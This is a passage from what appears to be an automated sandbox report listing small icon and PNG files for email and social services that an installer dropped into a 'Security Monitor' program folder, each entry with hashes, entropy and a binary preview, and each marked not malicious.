SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\GMX.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Gmail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.0034072391179
Encrypted:	false
SSDEEP:	24:3l4333333Ba333U7JDYF7336Ooi/F73afj/F72vcvtRaIDJluX5Ojk:VgWF+OZ/Fmj/Fgc6+uJOjk
MD5:	67B4BC8703A96A1CAB1B0AC8E37B26F8
SHA1:	363D0703311B99984E26F216A5205CD8D03E8389
SHA-256:	AE2369C58A93218087EB6B5535B1D2547F1FAE00DBC7303ACE8B3B1238BC7CB2
SHA-512:	0283160D49F3F7C17496B5476B2BF7689B3203E0E97CD36CA6EBE06A24D46A62F469C4F24E310220AA48D4FF7AD6D51A56621ED443AFAA50B7645B6688EBB33A
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................?_..MZ.L...I...P...P...P...P...P...P...P...P...P...P...H.8.H*?..LZ.MZ................................................./9../9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ......................p\|..co..................../9...9..KX.MZ..................P`..MZ..MZ..P[................./9...9..KX.MZ..............MZ..Q^..........O[..MZ..lw......./9...9..KX.MZ......Vc..MZ..co..................en..MZ..S]..../9...9..KX.MZ..MZ..MZ................................MZ..MZ..>K../9..MZ.MZ..O_..........................................R`..MZ..LW.KY.JYc.................................................Zg..LY.S..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Gmail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.503484841838105
Encrypted:	false
SSDEEP:	12:6v/7w7/6TVuA6q45LsaGcUiSVgYtyHUzX8hXqY+sP5yuRGe0zwcu6S:X7/6xft45LqcUjGYUUzX8hXfPP0uiksS
MD5:	535102101CF2549EAAC03D4D2424C607
SHA1:	70BF44C6E737D6127182AB1D38840A448ED6A162
SHA-256:	2E520CE5AAAF8A0DC35E182FE8986438B8CAB107221304AB4C9EAA901E1956AE
SHA-512:	FA510429D278EDFC7576EC900B88A60D1E09B656CF558F16DBB1404137F372B89D67AD9B06EF6114D7353E4501486FEFD9284B888E53D29B8364604504C377D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs.................IDAT8..Mh.Q...{3.....&.1..Zqg.i.A%.`.\...F.(....(.....q.E.e.mA..Z.XK..6.L3..ys]....Wzv..s..........yj.&[..t....U.0....;.\|..[.....%..J.HbZ..T.......T.<BPJ..0p....1~[.OFgv...dLj..:D..'..Y...?t}ziMwx.@#..jj..S.c..<...o%s..M.tbI...........5...w.Q2i...i%./...\|..s...u.j&.............k..9..r,.....p..9qW..bRi..W....}DC....T..E<\|T0......0Ijx....\V.t...._..d.[....S.p(......>.....o.m...T[.pl[h..3.#..rE..v...wM..8[......h.,..G.~'...m?...5..V...e.b.=.7.!...D4....q)....%B.m?...o..#..9w1......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.RU.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.RU.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook.Live.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook.Live.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yahoo Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yahoo Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yandex Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yandex Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\facebook.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.78558880583897
Encrypted:	false
SSDEEP:	12:KfbXxEm8sLBtLt08SHKdvaB8a+jzSCt/lgj5XTc64b6fNSuHwPqD7H:KfbhX8sL90rHKNaB8ayRYdjc64OpVb
MD5:	BD477227A18FED51A2C527EA4E32400B
SHA1:	6FC1F173245E77BDA386CE112D9A19502E5C0A92
SHA-256:	6569A42B81E6B02E8385CDF5EED48A3FBF3CB89101142723FAAEECDC9785D203
SHA-512:	20DC45444E3D2FF3C5C427C60A5B1C7941FFE74E79B9C156E033D53DCBB616AA2A0518AFC2CCFD7FAC4D95581AC2606DF81B7BACA7EA28AD875871949DD8229B
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ......................................................................................................fA..hB..kD..mE..oG..sI..tK..rI..lE..iC......................b?..................................fA.............._<.....d?..fA..hB..jC..e<.............d..d=.....b?..........]<.....c?..d@..fA..hB..b;.............c..b<.....a>..........[;.....a=..b>..d@..e@..`9.............a.._:.....`=..........Z:....._<..`=..b>..c?..Y4.............{\..Y5.....]<..........X9.....\;..]<.._<..a=..nN.............v..pQ.....[:..........V7.....X8..Y8..Y8..[:.............................W7..........S5.....eE..mL..sQ..wU.............................T5..........{[.....f..g..g..g..}Y................wS.....\|\..........j.....i..i..i..j..e........................i..........o.....o..o..o..o..o..k.....................n..............u.........................v......................{..{..{..{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\facebook.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.183161975210355
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjkLD81AWeAqr9XoQh35hBMjExRnj8OiD1i77sOw3N:XMfLDMe/4QFTyExl8Oihi8OIN
MD5:	E09587AD1847CF4E2AD03524A3C1CA7D
SHA1:	9564E6F66C74E3079F2DDA05A6A61742FB23683D
SHA-256:	603A9A84F0E095585BD39B27CD4C4D194A4A45C664373D636E493C2841084957
SHA-512:	5A00DB9331B1F1536C6152BF99F7245D159E46101122FA6827B0D5EF8D0377DB66DBB4CEAECA69F1AEC8FDDE51B506CB471B58A34E8A3DF09BAE0FC3F117CA2A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z.....=IDAT8....J.P....DJ.V.hK!b...E.;8..../. 8._.'p..!...I.v.EQi. ...CZ..%..-.s...~.....cr....!."TjR...RY04M....!...s..i....'.r.j...../.>......(.g.....=...2....>~...89.Eq.....?.\.Z......C...cE...\|.I.X.....(I...W.a..zj...O.:.?.........,.....PK...c...Y..5...B..k........jlmn@..S...qe]...z..p.1..\.E..\|...d{{.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\google+.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.463689107615048
Encrypted:	false
SSDEEP:	24:K/1fhCeNZn1dIxF327RYl2gZArfrReA/T3UqZzqi:K/9hCAZn3EGRYvZMrReA7UMzqi
MD5:	C4CE03C4D6D52FDA15ED85DD35661191
SHA1:	7FC5453E63A2B3C8F5CC17A1A5B9D40E3BBCAA89
SHA-256:	EA932489B1C366D47D33EF6FC4898A11E85C5EF5BA2982A21506FF49BD230B44
SHA-512:	2A332EE917FDCEE81C4F1E19F340498B37AA1B549A1E48E5C5207879F5A6EC1233052A606202CE254E629EE63676BDAA1438D4165D0BF48C3CB4BCC3A26BC907
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................H.H.#.#............................................b...4...+...X...y...'.'.!.!................................T...H...9..........~...r.r.'.'................................]...T...E...6...'..............&.&................................^...U...C...h..........5.5.-.-.%.%..................."..;..{....................I.I.<.<.4.4.,.,.#.#...............+..>..8.....w.........Z.Z.M.M.C.C.;.;.2.2..*..............3..N..J..j............k.k.\.\.M.M.B.B.9.9.1.1.#.#..........I..w..........}..u.....w...n.n.`.`.Q.Q.F.F.9.9...<.........._.............o..[........L^..Ci..4b..&Q...,...............f.............~..k........jj..QQ..<<..++...................k................w.........ii..ZZ..EE..33..&&...............Z.........................rr..``..LL..;;...................r...X..`...............yy.II

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\google+.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.651387048168162
Encrypted:	false
SSDEEP:	24:tfp9eW5Oon3iu7MTGS7ZN6tv1lyvv60hrTcdrU:j9eW5VSOwn4lwi0tGU
MD5:	4121D02B972D718C30E8B41023B894EE
SHA1:	751D347690F151AEAC02DD8C69A1F3D629D1DDD0
SHA-256:	807241CF72D7A2CC7DA63ADE8E22F6D1976E9B5D4B9CEC8479960EF4CE0CAD24
SHA-512:	FCDF69080406D542FA6A460C741BD53B4BC052D26EF930F61381CD05B73DCC1D8F13AE71A786E0C795BBE6889ED044D2CF9427CCC3E29CBF3BB7C97188E31BF0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..MH.a.....[..'...m&......h...C...!.....T...%.(l........6...!Z7E.v%.e.u.gfwvg..P../<..........$.8.". ..W..#]..D.L...q..2"N.!.."ar.9V+.....>..++......Y{..Hk.5.av-./.C..x._..1....,...n7.... ......U..>-Ru....t=.-o...p...W...9z.......\...>....V...,P-..Icr"F,..s1l3<....PU.......J......h@../..R.Y}2........f..R`.....=.a.s.F..y.8e.......[.?..<.....JK.."..p...Y...!..H....L.A0.D.....sU..NQGS..(.xF....._y..S.p2N..w....p,.......=.T.^G....p.$.=w.b..4.~. ...FY5q...!z..N....7EG.r.Og.(.o..8....\..6."J......huh../sT..2%2$?.Y.".....b.y.x?.....=@..w..m.p..T..#..+@M.{...=j\|..-E.x.>@.....h...2.H.?.O......t..a.6.......k..n.5.L..3...8~^..%......G.....!......)..fCMMMWjjj.2aL...c.y....&G.......VA.:..I..........!......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\imp.free.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
